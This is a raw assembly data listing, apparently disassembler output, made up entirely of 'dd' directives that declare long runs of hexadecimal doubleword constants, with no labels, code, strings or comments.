		dd 892B7C61h, 7BBC81CEh, 81BA0438h, 355409B1h, 0BA797E70h
		dd 1246CDA6h, 0A1AFE858h, 756B870Bh, 4304BB85h,	8EDCD7ADh
		dd 0F8644146h, 0AD71DC6h, 2D3086B1h, 94D48279h,	14157B2Ch
		dd 5FE501BCh, 4579CE06h, 6441BF3Bh, 0DEBEDB29h,	0BB44172Eh
		dd 4986166h, 796F3A99h,	0B981C059h, 509DEA3Fh, 0FAE00162h
		dd 0A1E9FD84h, 8F65A04Dh, 7FE54F0Fh, 76638652h,	1A0B978Ch
		dd 674CC700h, 0AAB4599Ch, 0A440740Ch, 0F96E4E3Dh, 45128451h
		dd 3DB0ED17h, 90E113B5h, 7C098DFDh, 445444A3h, 64569602h
		dd 3381776Dh, 0F0403152h, 341811CFh, 30785476h,	0C0857D7Fh
		dd 5E44560Ch, 1429E932h, 0FD64C43Ah, 8000C4F8h,	0B65227F5h
		dd 0CE7DFE8Ch, 30936132h, 0A8F9615Dh, 9162AB2Fh, 0F798E150h
		dd 9DE2D5FCh, 0E77048C8h, 4DEAC5B4h, 0E941302Ch, 0A32E1A85h
		dd 0F4899F45h, 2B727578h, 11AA6813h, 0B202C592h, 718E051Bh
		dd 943B9B99h, 0DEE9EAE8h, 619AE909h, 0EB41B11Ah, 4865BFBEh
		dd 13A90477h, 8BAB4AB9h, 0BFA3112Ah, 1E60EB02h,	28D74DDAh
		dd 5812084Bh, 5640FF04h, 5AF08800h, 60F4C528h, 75270DBCh
		dd 41B87E60h, 76FEEAA8h, 0C46080BEh, 0C02AD55Bh, 67268E68h
		dd 0F3412932h, 0E95E0801h, 8E268BC5h, 3E1CB14Bh, 0A94BCDB9h
		dd 6AB9F40Ch, 0A043E909h, 67889FD9h, 21680541h,	9DAA6109h
		dd 0AA56480Ah, 6F966D09h, 50448555h, 0BFC546D8h, 580354F0h
		dd 7D94BE56h, 0F546AA54h, 6FB053E0h, 0F3F0C84Eh, 0DE50EBE9h
		dd 0AB242968h, 7B3AE923h, 0EE4E5A7Dh, 587C09h, 5D7EB1E0h
		dd 5A0DF864h, 3E21FF92h, 349F51A8h, 0B9D28945h,	0C84A4354h
		dd 0FC248025h, 0B8C9BD93h, 0FABC4A80h, 6B58AC8Eh, 0B22F0601h
		dd 33E92971h, 326B6214h, 29D70914h, 9562DDFDh, 0B3E19482h
		dd 63087BFFh, 0A2890E0h, 2D02C85Eh, 3EC09C2h, 43795F59h
		dd 0AA7C684Bh, 0F859B7EAh, 324ED725h, 379B681Ch, 9FEF5F27h
		dd 490C6885h, 41B466D8h, 51212EF3h, 662CC80Fh, 503EF8A5h
		dd 3517A7E6h, 18EB1887h, 794312CDh, 3117B31Eh, 78B7E949h
		dd 4B5B784Ch, 44CBEAFBh, 107BA24Ah, 0FA4EC04Ah,	1BF39C5h
		dd 27084C13h, 0B00C827Ch, 7DE14068h, 202F0C50h,	0F408F252h
		dd 0B45BE6D8h, 6D123F30h, 0F436D0EEh, 76958F02h, 84202F3Eh
		dd 0E01CE230h, 0B2522C9h, 4060B24h, 88E103ACh, 16B2D3Bh
		dd 2E762057h, 90682470h, 4337197Ch, 0F4E03C5Ah,	50070E07h
		dd 0C6303CB8h, 0B507937Ah, 182CA370h, 99430B4Dh, 0EA5729F4h
		dd 6EE5F72Ch, 4676DA81h, 24204E33h, 5BFA120Fh, 4F96B863h
		dd 70097509h, 0ECBE2EF8h, 1FEB43A2h, 0ADC1BFFCh, 16067101h
		dd 0F148AE7Bh, 624E2592h, 8AE5DD9Ah, 556B6885h,	0E9B198F8h
		dd 90097F8Dh, 22EDF59h,	0E4E61F0Bh, 0C0B70F1Fh,	9CB0BC12h
		dd 0C4685C55h, 0D72E541Eh, 71CA546Ah, 313FCC5Fh, 3AA7474Ah
		dd 0F293BE17h, 26CA58C6h, 6C022C52h, 7501391Ch,	0C5CEB2C8h
		dd 133C7205h, 3DE15EE9h, 0C5DAA66Fh, 0CFAA5A34h, 2CCE1808h
		dd 985AD641h, 0ECC2053Bh, 0BA44733Ah, 4A086E50h, 0ED837D95h
		dd 0DD09C758h, 0FF69B2D1h, 3EB7C768h, 3BE28180h, 55B75B06h
		dd 284E6252h, 6CB949C1h, 35AD3BF4h, 96BD5546h, 48205004h
		dd 8600AE4Eh, 375C2DE6h, 6AE9870h, 5B4342B8h, 65090E46h
		dd 42D4F419h, 997B5734h, 61C6FF49h, 0BD91C04Bh,	46C46DF7h
		dd 368B93Dh, 5E71F9C7h,	62EBE9F8h, 24E7A1A8h, 5E8B3F39h
		dd 288087F1h, 0AFDD5FC4h, 434036E9h, 0B1294859h, 0DCF0DB25h
		dd 0D10E75A7h, 0E905025Ch, 685AF5C7h, 0C504DD90h, 9BF77BE4h
		dd 0FC2E01C9h, 9A3D4EBAh, 0F5A1617Eh, 23F27A5Eh, 0AFF7E9C2h
		dd 1E8596D6h, 2AC50513h, 4563A880h, 7540B5A8h, 1C0B38FFh
		dd 86EF3142h, 0C534A245h, 0FE0D8788h, 0BB9C828h, 1A1D2D58h
		dd 0C27E6100h, 0C0B2C1B2h, 64FC0504h, 5DC25DCCh, 5307852Dh
		dd 0F7718DC2h, 6927CF73h, 2D6566D3h, 3EA3E53Ah,	440316ABh
		dd 0EA3D8B2Dh, 0B44F6E2Bh, 281FFCD1h, 94CB48E5h, 27865B3Ah
		dd 0E9D8837Ch, 0FF94EEh
		dd 7BF205ADh, 0CAD3444Ch, 2480940Ch, 61C7E858h,	88E006D2h
		dd 139E32FCh, 96E794A1h, 0B721E982h, 3AFAC264h,	263DC3Ah
		dd 0F44F8BCBh, 0F089E02Dh, 0CE552587h, 0FAA1AC78h, 0C64B816Dh
		dd 724F5F70h, 89D31F3Eh, 0BADC6F6Bh, 5106C785h,	10EC1A87h
		dd 64638AEFh, 4008A2DDh, 635EA7A9h, 5C85EC24h, 9EAD8B4h
		dd 22C72DA4h, 8A2EDFCh,	619C24Dh, 3DA63018h, 0FCE92F55h
		dd 0F5805A01h, 1BEACCACh, 0C2C3CFE1h, 122059ABh, 53511D7Fh
		dd 8AE984B7h, 0F84E886Bh, 69555616h, 0C06BA639h, 7EA02783h
		dd 2A1BE910h, 0C407FC4Ah, 0C117A7D3h, 7A3C753Fh, 0AE9782E2h
		dd 29F5E261h, 3DC0636Ch, 42770809h, 0A133589Fh,	317FAD04h
		dd 0C9C68825h, 2DA13AF3h, 644007E2h, 54FEF00Ah,	31EF5E5Fh
		dd 2CE52798h, 685A8384h, 31EF8C6Ah, 70D1671h, 0AAA8BCD4h
		dd 2228AE5Eh, 50982FE9h, 8E03CBB1h, 53CD89E5h, 0F2B567FEh
		dd 81EC154Dh, 9EF5EF4Bh, 0EB39118Dh, 2242E23Eh,	0F077DD62h
		dd 0E50505C7h, 0B108677Ah, 0C207049Bh, 99775D77h, 0FD6B986Ah
		dd 2F3F139Ah, 99130EE9h, 3232AA6Ch, 0CF4E98EAh,	829A9621h
		dd 12E86265h, 7D7C5D40h, 0F7331D28h, 9E020F0Ch,	9391843h
		dd 944B849h, 5F6B6C51h,	125FDF8Ah, 830AA46h, 9DAF5A58h
		dd 0D8B17000h, 312574E3h, 58B9FCEBh, 3DC9E1BAh,	2DD468D9h
		dd 5A55808Eh, 75E7C0D2h, 0F86EA441h, 0E8E9F02Ch, 98599D27h
		dd 70C4A96Fh, 6824A02Bh, 89EB772h, 3F5584Ah, 9568A4D8h
		dd 0CA5A1155h, 0F6FC133Ah, 0FD29C50Ch, 7C3901E6h, 58AA425Fh
		dd 0B1A0063Fh, 500124D3h, 9BD90CC1h, 0EA436CF8h, 0BE810249h
		dd 3B2F1798h, 0E9039077h, 0FCDC4B7Bh, 68078111h, 0CD7E1387h
		dd 4C37E15Fh, 12F25E82h, 3A114055h, 82E29A5Bh, 8AF5740Ch
		dd 53D9960h, 81AE1B66h,	68596A5Bh, 23DEC1DBh, 0F12A6D0Ah
		dd 41262D30h, 4353010Bh, 0CD2901ADh, 186530h, 0D235E37h
		dd 13654EF0h, 104BFEAh,	0F9E97489h, 0EE0CD0EFh,	2B057BEh
		dd 735F7E97h, 7807B610h, 64E1247Ch, 0CA4A1E37h,	26067FEh
		dd 65A64461h, 4FAA67E0h, 0EB1EF12Eh, 0D1070519h, 73C1C0F2h
		dd 34352847h, 7CFF0FE7h, 0E5C15794h, 255CE945h,	46B83EE7h
		dd 586331E2h, 0C5A47DAh, 19745D09h, 4B7EC879h, 51CC1E8h
		dd 30CC1F47h, 2C5F32BFh, 0B43ECACDh, 4B01CB05h,	681C5414h
		dd 936613C3h, 0CB0A7C09h, 15E5AC80h, 61BF9C51h,	0C4D08B37h
		dd 10CC96Fh, 111CCEF9h,	0DE176ACBh, 714E02D6h, 0FE551C0Eh
		dd 0F81F1CFAh, 6E167043h, 5C022FAAh, 54ED36AEh,	22F3170Eh
		dd 0EB550496h, 6BC4B05Bh, 744D60C6h, 0A4781F43h, 0D654E919h
		dd 80855C2Eh, 0A84B692Ah, 5EC60479h, 20AE134Ah,	8A198B76h
		dd 0FC0304Fh, 0FCFA7FEEh, 0EAF44A22h, 17F9A789h, 2A682224h
		dd 0B5593246h, 0CEF746E2h, 64DE9710h, 0C2AF5192h, 9AFF5961h
		dd 496B5643h, 0D49DD0FAh, 3083595h, 562DE6CFh, 0CF39A484h
		dd 5B6C3B09h, 8F8F800Ch, 2F28AF3Ch, 72DA4CE9h, 7F9524FAh
		dd 5D9515BEh, 6024D43Eh, 76AD9895h, 9055CBA9h, 810FB28Bh
		dd 38E52A2Dh, 0AC34DA41h, 5AD03989h, 1F87E6FDh,	685357h
		dd 0E94F7250h, 0FEBDE86Fh, 2386EF5Dh, 58025B90h, 682C550Fh
		dd 0B6B1FD75h, 6FCF7502h, 2B864CE2h, 0FAB53F14h, 29514A6Eh
		dd 100543C3h, 6C608489h, 0F1507CFFh, 0E59D57E5h, 0AE0C344Eh
		dd 0BF2DF0A3h, 0DF028E89h, 0FE553F11h, 0EE215887h, 234B4690h
		dd 4D722F2h, 17578616h,	1997D1EEh, 17FE0438h, 46E3E14Dh
		dd 303C7199h, 0F67016E7h, 0E5347437h, 22717480h, 0E85A4C13h
		dd 4CBACB02h, 74751642h, 145A4ECh, 674E3F10h, 27CBD6E9h
		dd 763B6099h, 49E01648h, 40380FCCh, 0FE502892h,	80BFF2F3h
		dd 3B39B80Bh, 0BA170299h, 2C901CB3h, 521CE177h,	4F70016Ch
		dd 0E938B1EBh, 16D9A71Dh, 5AF1FE00h, 0BF93540h,	0CC6826CFh
		dd 0CD24B5Fh, 4F0928BDh, 0E55D7F7h, 6D7063C4h, 95281249h
		dd 920C6798h, 0B452C063h, 27A1F09h, 0D4728F78h,	93D15FADh
		dd 80007336h, 887E09F6h, 5080E7A5h, 0E4C0E5B4h,	9589D08h
		dd 0E96AF404h, 15BDC175h, 76CFB8D7h, 0DE25D65Ah, 8538AC04h
		dd 0CC4AA4B7h, 470509ADh, 9CB7E91Ch, 5D5D0FD2h,	45B56AC4h
		dd 0CED5C9B9h, 46589FAFh, 13D7F39Dh, 4C34EC13h,	5BDB469h
		dd 0FF55C086h, 198EB03Ch, 0BB1022C8h, 4A120DE0h, 3F738017h
		dd 0AC906601h, 58549905h, 3B923108h, 3DAC749Dh,	0E3685A85h
		dd 0B556A813h, 0E382B08h, 0B9E6CA29h, 0B8067949h, 1C25167Ah
		dd 6CA5025Eh, 0C821075Ah, 4E150A03h, 8D04FF37h,	0AB655401h
		dd 555ACCD2h, 0E941F551h, 0AAF6BB4h, 4377A682h,	69FA5457h
		dd 0F12D63DFh, 697D54C6h, 1380C084h, 9DBDE01h, 0A86B197Fh
		dd 2A347F53h, 0F194C527h, 540501BCh, 0A011AA19h, 0A07F0586h
		dd 78F6502Ch, 90511F0Dh, 0EE80C7F9h, 698E32C5h,	4160D1F7h
		dd 22F18102h, 0B8FDFA9Ch, 0B9509D5h, 91FE3E5Eh,	8A9408A0h
		dd 0F4A18496h, 0E97A2D7Eh, 3C5F0349h, 0FC93528Ch, 42AC39A9h
		dd 0D0AB935Eh, 0A51D20F7h, 0B7A0487Ch, 0C6808C89h, 229E2956h
		dd 0ACDD8724h, 8C4D0833h, 53E030BFh, 0B24FE1E9h, 972EA9C9h
		dd 0FC6EC512h, 0C6BC5F13h, 45E56140h, 5ADC18DFh, 0FB451ACBh
		dd 2F2910F1h, 3B29DB87h, 0C9AFC94Bh, 8BB23A10h,	0DF116FC6h
		dd 2404DA6Fh, 8AAC4F40h, 2F58229Ah, 0E75C4290h,	0AFC7031Eh
		dd 407CD31h, 0F7BEF0Ch,	22DC0127h, 247FF4D0h, 0BBAE95DFh
		dd 5380C802h, 0A671FD50h, 79A5D59Ch, 39646944h,	0DE9514FCh
		dd 0D9F05380h, 3C4E18E9h, 0B5C7ADA8h, 0BAEB04C9h, 0C3C1732Dh
		dd 0B7538A82h, 0EB60885Dh, 712EEC0h, 7E90CDE9h,	3D4830C2h
		dd 92985883h, 85E51746h, 0C21711Eh, 28BA30D6h, 5AB535D4h
		dd 0E95F0C5Ch, 0F3237DFAh, 217ABA12h, 54682506h, 5BEA0517h
		dd 0AB4A0375h, 8162994h, 0C6B160EFh, 6CFE4EE2h,	4E88D59Dh
		dd 0BA5A1208h, 2341BE89h, 6603ACD9h, 76F180F0h,	9D5ED2B7h
		dd 68EE3470h, 0FC0DA82Ah, 7C1B9B2Dh, 0E0FF64B5h, 0ED0FB9E4h
		dd 4B720F34h, 70EEDDA2h, 0A758D2F6h, 1608DEFCh,	315A1371h
		dd 49AD010h, 600739C2h,	12649566h, 0EE40575Ah, 0C06E27B1h
		dd 0D6054AC4h, 49750702h, 0A00B9CE9h, 4DF7F191h, 9AA7A0D5h
		dd 0C4D9B2F2h, 0E3777C74h, 89530B4Ah, 3F82DDEBh, 4AC6718Ch
		dd 9689FC97h, 53EEC4Fh,	142C563Eh, 4AD379C6h, 0B006FB5Eh
		dd 32CD4CAh, 0CF80CDB7h, 0BB9CFE35h, 28E49D03h,	8259B3EFh
		dd 0AB06E3F8h, 0C1AB0082h, 8F6ECD2h, 6507052Dh,	0C8017AF4h
		dd 5C32076Ah, 1456D94Fh, 0BE10D850h, 19C1597Bh,	0DF232C13h
		dd 85EE987Fh, 6D183D0Bh, 9168FF29h, 0F14A3CE9h,	92027189h
		dd 70147720h, 354A0497h, 0A24B0614h, 39C91873h,	64BB16h
		dd 0B80EEC44h, 4DC86386h, 7C5A9ECFh, 391FF27h, 0C3F42BCBh
		dd 8F72B5C8h, 671840E6h, 940C43ABh, 0D60A2617h,	0EE218B8Dh
		dd 0FD16147Eh, 0BF223EF9h, 891E2597h, 0D7F65CD1h, 9926BA43h
		dd 0C7D862EFh, 10CCCD5h, 0C4B01918h, 3930E33Eh,	0E9FE8958h
		dd 0D5CCAB04h, 66684E21h, 68612A55h, 0E16D5EE9h, 8F7FEE27h
		dd 2FCE6B88h, 0BCC20F60h, 0EA09DD82h, 0EC306C45h, 99D9B53Ch
		dd 6014E950h, 38BA4CD2h, 70E58A03h, 6678E2BAh, 201164Ch
		dd 0EA4D9A2Eh, 82596089h, 645F8178h, 7131678Ch,	74A4961Dh
		dd 0B3076E06h, 2D2B4C94h
		dd 22FD3861h, 231A12Bh,	72F75D07h, 0CAA625B3h, 0D6ED30DCh
		dd 86A6697Ah, 0D1788E78h, 0E9F917E0h, 68C6C033h, 4F1766C7h
		dd 0C8095E30h, 0C7031B5Ch, 0F81AAC9Bh, 7AE441E8h, 99D1104h
		dd 0B68D35BAh, 2FB24C02h, 188E1C3h, 7FB2996Fh, 1112D6B9h
		dd 74C88C38h, 0D4BD4C70h, 53827251h, 0A7DF76C4h, 6384CBE3h
		dd 0D2FAA394h, 4E747282h, 0E8E5515h, 1245D868h,	8987CEBBh
		dd 9FD578DCh, 895F096Ah, 0A9BF00E5h, 0C24E1D41h, 0E5322A36h
		dd 8F76FE2h, 0E90A080Dh, 29899465h, 9FC47FF8h, 0A07A53E6h
		dd 12B065Ch, 38B87325h,	0A621F901h, 0F7D20807h,	83E3FCABh
		dd 2B7A4C85h, 6C97224Bh, 0E6EF87B2h, 0E8525BDEh, 0E4773B5Ch
		dd 0D0BB5816h, 0D33B5556h, 6981784Ah, 2D0234C5h, 2DB2C4FFh
		dd 4E697E79h, 5A5928C5h, 0E9F10CACh, 8D173E1Fh,	0DE2443F3h
		dd 6361664Ch, 0F168B724h, 3BB15107h, 8059CF00h,	0E9E10DC6h
		dd 0E0A6E096h, 6C915EAh, 0D0F10749h, 662AE2h, 0CE5193BAh
		dd 20FE785Eh, 81BDE9F0h, 306033B6h, 0B54C7A08h,	5059BF0h
		dd 32DB3DF9h, 701E6B1h,	1541BA52h, 1420D001h, 4E809CEAh
		dd 77E73302h, 0D6A700E0h, 1436082h, 0ED25C093h,	274712ACh
		dd 150BFh, 3271BE56h, 0B9513740h, 290FFF17h, 0E4C98900h
		dd 0BF46B50Eh, 28490AE1h, 9FF10223h, 0D54DBE2Eh, 23DD1B0Bh
		dd 1F7D4622h, 0FD8C765h, 396B6173h, 20D58029h, 0A75CCF9Ch
		dd 4B68126Bh, 0C22BCD16h, 6FF3A42Fh, 0E9C1BFA8h, 2041D871h
		dd 0A097BB9Bh, 0F812C363h, 0BB544E23h, 20EF9500h, 0FE49D501h
		dd 6A7709CFh, 857705B1h, 875E0644h, 0FA30C229h,	7D77D32h
		dd 73E68120h, 0C052344Eh, 0E70EB1B7h, 2B2DFA02h, 0C1642148h
		dd 743054Eh, 3465E85Eh,	0B037549h, 0F34C5663h, 89139ADEh
		dd 574BD2BBh, 0BE92FD45h, 0A4A1A0CCh, 0EFF2B7CCh, 0D78A0F98h
		dd 0F6A77E45h, 9E5F4B8Fh, 5FCA9D39h, 0D4599385h, 1580AE21h
		dd 48F89F71h, 1401FF41h, 1630F33h, 8F0A0EEh, 86E65D4Bh
		dd 0AC5A6D3Dh, 4C0CC4F2h, 5AE9CD4h, 20C9495Dh, 487469C7h
		dd 10FB2F4Eh, 5E01088Fh, 0CCE9DA29h, 0F7C82A4Eh, 972670C3h
		dd 417A3076h, 537DAC90h, 23A54976h, 1023F32Fh, 8D2482B1h
		dd 0D13E8E2h, 15F03E90h, 0D11E00D9h, 74802DE0h,	89046ACEh
		dd 3167E9C6h, 0F53E99E5h, 0A605ECEEh, 3435F3B2h, 0F2BED22Fh
		dd 1E82D6D2h, 0A23D8905h, 2175E2Dh, 0F340C301h,	0F0381966h
		dd 0C3FBA829h, 0E02F6B67h, 0F0B075h, 104B09B9h,	6357555Dh
		dd 0D184BA2Ah, 0BA57923Ah, 445F779Ah, 0BEB170DFh, 532EC98Dh
		dd 7B34A516h, 0D8ED3B9Dh, 0B71DE87Bh, 558C74E2h, 0A925814Ch
		dd 33A314AAh, 0D1D39244h, 0E9ECC5BBh, 8AEAD6EFh, 79E44032h
		dd 9D5E9F40h, 2C244C5Ah, 0A9BFE00Dh, 432CF9A3h,	0D21D6800h
		dd 6BDBF722h, 7DE06857h, 0E597CE88h, 0C5C389B3h, 653D7B0Eh
		dd 0B880DF92h, 45EE34C4h, 0DE167098h, 0F2E0E31Dh, 101C0288h
		dd 9855E92Ah, 5434997Fh, 295ADA50h, 3FB1BDF0h, 0B1CA8BC1h
		dd 0E8DF11AEh, 35F6357Ch, 54ABE925h, 9ED8110h, 3118EE3Bh
		dd 7A77FAC0h, 2BF70B5Bh, 0C90F6559h, 0BB7B3EE0h, 0E912EA29h
		dd 34AA1BDEh, 7ACD0DEFh, 0A2146B65h, 0CFF00467h, 87EBF37Dh
		dd 12AD5431h, 9C9CF1Dh,	9F795DE5h, 0CB29680Bh, 0F9BA5EE1h
		dd 9D01F4DDh, 49286967h, 97712220h, 8C5500A6h, 403504B4h
		dd 42F65468h, 96136284h, 624B5693h, 71F59F2Ah, 1487C2F2h
		dd 514F765Fh, 0F6F17E53h, 28525BA5h, 7994862Dh,	0BA0F6257h
		dd 330A5F09h, 52650232h, 0D2DD798Dh, 335F0B2Bh,	0C0FB2F44h
		dd 923D7609h, 4A7075D4h, 74976794h, 75DAAAF5h, 97091E66h
		dd 5F3EA460h, 0F67595CAh, 4968415Ah, 10347A5Ah,	9C1BB9FAh
		dd 6E22224h, 0DD08A90Bh, 4CD3B629h, 0E471478Bh,	268A836Ch
		dd 802F5AC3h, 0E32845B4h, 0C700458h, 502CD83Ah,	0CD4EB23Ah
		dd 4B192091h, 71C28000h, 0D8DAF62Fh, 78FC25A4h,	67CBCD14h
		dd 5FED8A2h, 666271BBh,	4B7FAC4Fh, 55AE54EBh, 3D998E02h
		dd 647529FDh, 379133A4h, 80B24B3Ah, 709F1DFAh, 124A5B80h
		dd 0CF80BBF5h, 582F25F8h, 0EB07FA3Ah, 0EAC254BBh, 0C6402DBFh
		dd 0AD120ABDh, 4F0BDE63h, 5BF921F9h, 7C32C789h,	58A2C6D2h
		dd 7FB84A12h, 7ADAC801h, 107F26EFh, 5F0907F7h, 92760868h
		dd 4765DD25h, 55272BA4h, 0EFE90401h, 66382461h,	87E681Dh
		dd 1F875227h, 0F3FC2BEh, 5EEFF231h, 0D869F0B7h,	1BE4B05Bh
		dd 0E0A0BFA9h, 997598B8h, 67252200h, 2D3AC753h,	46E01AB3h
		dd 2EF0FA1Eh, 0AF959Fh,	0EF2815Ch, 8FA02A38h, 0D5B42BBCh
		dd 20B55A52h, 0C895FA5Ch, 812A60A6h, 58642E59h,	2489F2AEh
		dd 0F69288E2h, 2B3F2E0Fh, 292DE0F5h, 2DF498DDh,	0D15B6DDCh
		dd 182FFEA5h, 0D8EF8D44h, 0D8A2282Dh, 40151C03h, 0EF4F9606h
		dd 0CBEB4Fh, 0FA297335h, 7FC837E9h, 6B6962A7h, 506E827Eh
		dd 3901360Eh, 0C6295803h, 0B0D1519Bh, 91342B15h, 0EE6795FAh
		dd 61CAA8D2h, 5233A925h, 0A4BD5501h, 851AC238h,	757EE961h
		dd 412FF8ADh, 5A0FFED3h, 0F2214498h, 0E9136ACEh, 0B92FC01Eh
		dd 62264B51h, 530BAF3Ch, 202BDA5Ah, 20ED6C6Fh, 5612A29Ch
		dd 8013BD6h, 16852C22h,	0EAEC403Ah, 1B5B2DFBh, 83CA7AB5h
		dd 171C4108h, 17230CA0h, 0FBBB685Dh, 0E90B71CBh, 25F143D9h
		dd 26E45D17h, 26A924Ch,	5CA0E181h, 6402FB8h, 0F14C649Dh
		dd 0DC9E1377h, 0ADD76DACh, 24038F76h, 68020A5Dh, 0C2B23128h
		dd 0AA900F29h, 465EECE9h, 50134CEAh, 76127E6Eh,	0F007123h
		dd 38EA68ABh, 56DF24F7h, 0C1EE0924h, 65256A18h,	0C91C5A24h
		dd 0DF633209h, 0D1F80314h, 909D4D5Eh, 4458803Eh, 0E9123118h
		dd 0CDBF7587h, 64CA2E40h, 0FAF66816h, 0E204F835h, 2D0BA396h
		dd 5F8B27D5h, 2C92DDB4h, 891F6049h, 66E06220h, 410F482Fh
		dd 567F0413h, 35BD8F8h,	2C35E0D1h, 0AF8CB117h, 3E83FBE5h
		dd 4A1B2FF7h, 0FE2984DDh, 5769ACEh, 5564D5C6h, 0D194BF6Ah
		dd 0A62D0816h, 0CB3EC720h, 0C22330Ah, 0CD0AC815h, 644FBF24h
		dd 50C8FD34h, 0E8081203h, 1000EA10h, 0A620530Dh, 0CD2D3D0Eh
		dd 0F1F66492h, 7ED920F7h, 32850213h, 0A640C0FBh, 692C5501h
		dd 9D3C1609h, 0B28F51E2h, 50CAE21Ah, 6A607727h,	7AE13A46h
		dd 1CB1DACh, 7C1682DFh,	18C55506h, 0A79B5925h, 0F9C26C5Ch
		dd 80517C19h, 0D920842Bh, 5F4AFD29h, 6219A6ACh,	6EC5F3F9h
		dd 4BA648Ch, 21BFCA71h,	0B349ECEFh, 0E0178C3Eh,	0EB3D6640h
		dd 33AC991Bh, 4F6BC343h, 5FDF0174h, 94FDE57Fh, 667897FDh
		dd 0CB7DD6BFh, 554B64DFh, 8B32D2FCh, 22535705h,	83A3BB4Bh
		dd 0E772EDC5h, 31AB5BFEh, 2B32DE74h, 5CB822AAh,	85597464h
		dd 0CF4B73EDh, 61B28AD7h, 6A74579Eh, 90D6BF54h,	70996884h
		dd 0ECB71F8h, 0E829AEA3h, 0C70E1BAh, 73D3BB04h,	0E98148F8h
		dd 1963100Fh, 5B64FF78h, 0CE81035Dh, 466D67FAh,	0A54BDEF9h
		dd 4ED1E106h, 2A7C1E82h, 0A3D81F63h, 0E6795412h, 5E581B49h
		dd 0C2D45616h, 12EF4B71h, 820EAC6Ch, 0E130428Fh, 0E32F6658h
		dd 0E8BD5AC1h, 65D72927h, 5F578967h, 40C15E1Bh,	9E40A88Ah
		dd 0A435040Fh, 5202CE96h, 6F9136C1h, 20D12D00h,	35245C01h
		dd 0BC4F7060h, 5D7CF142h, 0E456A1C2h, 98797709h, 96853AAh
		dd 330E7E94h, 290E4CDCh, 0C3F2C52h, 109F1636h, 0B052BFB1h
		dd 0E9A4C0BBh, 0A5D3355Fh
		dd 37160EFCh, 0BB3394E1h, 0E75331B1h, 344EA97Fh, 2D0508Fh
		dd 0CC584A89h, 4B7AB538h, 35FC75FEh, 148DECDEh,	32E42E7h
		dd 0F4F22A0h, 6CC1729h,	8F87217Fh, 0AD030565h, 95960292h
		dd 5C73BAACh, 0B4078F0h, 0C6FE59E9h, 5727D448h,	67254CD4h
		dd 0B4D1861h, 0F778874Eh, 46D01C28h, 0C17CC0Bh,	0EA426169h
		dd 0DA090844h, 1E9350BBh, 919C780h, 0D97D3747h,	73C96B1Eh
		dd 0EC047AB6h, 2CBB51ACh, 7C5BB68Ah, 32C698FCh,	0C77F1141h
		dd 0D3609C35h, 0E3180C81h, 0BD618A65h, 689AD86Fh, 1200624h
		dd 0A6C180C9h, 3001DD45h, 310BA2BBh, 895D5AD3h,	4AD117CAh
		dd 4D83F3D5h, 217D4EDFh, 6B841B8h, 69D82580h, 550E5DEh
		dd 3BE665h, 0F581E5D1h,	0FC73F6Ch, 0AC09CDECh, 8430932Eh
		dd 0C4AFEAA2h, 3705BA4Ah, 12E4861Ah, 5149132Ch,	0BB451307h
		dd 82E62740h, 0C1017374h, 7C255D0Ch, 5670000Eh,	0D1432D45h
		dd 1FC6303h, 0B0E9FA09h, 0F98FAF2h, 1FB61953h, 62107369h
		dd 5024EBF7h, 7F27F947h, 0CBE92890h, 0E6B6525Fh, 25BE680Bh
		dd 715A60D9h, 827DC97Bh, 0B0F5C94h, 21023FDEh, 0DF9FB9F6h
		dd 7477CD42h, 8579C949h, 0D7A31D09h, 0BFA6DDE5h, 0FA4E4810h
		dd 0D04BD109h, 126804D6h, 0EE42A04Eh, 582764B9h, 17DA11Ah
		dd 3786215Dh, 0AB40A46Bh, 45F772Fh, 5109D016h, 0D3F7DFA3h
		dd 0B22D0B7Eh, 762B1AFAh, 99E56F45h, 88B1F401h,	2ABFBB5Eh
		dd 9BAC4BEFh, 12F7A301h, 61CD3193h, 0E67AC36h, 3E529602h
		dd 11964051h, 484F05A0h, 0BAEA04E9h, 0DCBEED72h, 0B9E9976Dh
		dd 6BE84B62h, 57F5E9E0h, 0FBED93C5h, 0F87FC10Bh, 0F2EE950Fh
		dd 0B1F4074Eh, 10DBBEE5h, 686606DBh, 3C085CBCh,	0C497720h
		dd 13A09E7Ch, 70C4BF02h, 93BAB2AFh, 0C82204BBh,	0E9C1EB75h
		dd 1C958A3Ah, 4156C0CAh, 2B8EAA4Fh, 717CE909h, 0DBB3BBDFh
		dd 0F1A3B5F3h, 30CE0C9Ah, 0C56359AEh, 1654E935h, 0E8E581F7h
		dd 0E97624ADh, 9CD52305h, 2D5D1CE0h, 131AF109h,	0B59F467Dh
		dd 0F7E229D4h, 0AE01FFD9h, 22B5D796h, 5E31255Ch, 0E3456F71h
		dd 0E16F997h, 0B64FC5F7h, 0FCC713ABh, 74051F15h, 26D8BEBEh
		dd 4D128D97h, 236BD2C9h, 8DA44FB4h, 56EF3B12h, 0F4421C7Ch
		dd 0EA98049Dh, 8B2BBFDh, 202868C2h, 6098244Eh, 7F05C509h
		dd 186F7540h, 70303C9Dh, 490103C6h, 330B4418h, 3705E030h
		dd 57CDAFFCh, 0C331EA2Eh, 4C5723EFh, 569FC282h,	675DEB95h
		dd 0FAF53579h, 0BA4B25DEh, 0BE4AA29Eh, 0A03A952Dh, 1B75931h
		dd 4DF4807Fh, 0ECC0EACCh, 28201BC2h, 1EAC10E2h,	0D246E9CFh
		dd 0C080945h, 568071A9h, 1879B3BEh, 0F681450Ch,	4EE90DB7h
		dd 0F29BF40Bh, 0BFE7A30Ah, 0B1029EFAh, 5F7B5023h, 54A88FE1h
		dd 0E9C268E5h, 7409DD2Dh, 0DE95BC7h, 9CD02E4Ch,	0DE5D6607h
		dd 1663BCDAh, 0E3B4B068h, 5BFD014Eh, 9DE95418h,	7E44D565h
		dd 92B039BBh, 20025518h, 4009E478h, 974C1674h, 0D2B0691Ch
		dd 0E225F274h, 0C296F474h, 3B0AFD7Bh, 82D66B07h, 75A0E24Bh
		dd 0E59F6670h, 65A4930h, 90401520h, 5FF97AB8h, 9A6FE0B3h
		dd 1A97525h, 0FA2A5D90h, 0B2646870h, 0F25950C0h, 53660342h
		dd 0FC28DDB7h, 0BD4E55FFh, 34391385h, 0AA924AF8h, 3D13588Ah
		dd 0C93CE923h, 0A54CF78Fh, 20E8709Dh, 32FE2274h, 0EEB35300h
		dd 0FE6EEB80h, 4C70B5CBh, 632BC338h, 3AB4046Ch,	4B722C0Ah
		dd 444DA2ACh, 455BF6FEh, 0E166744h, 5C655B0Bh, 3CB1A98Bh
		dd 5E899057h, 9E4F37F5h, 0A84EC1F5h, 0C9AB40A4h, 0CBC83A3Fh
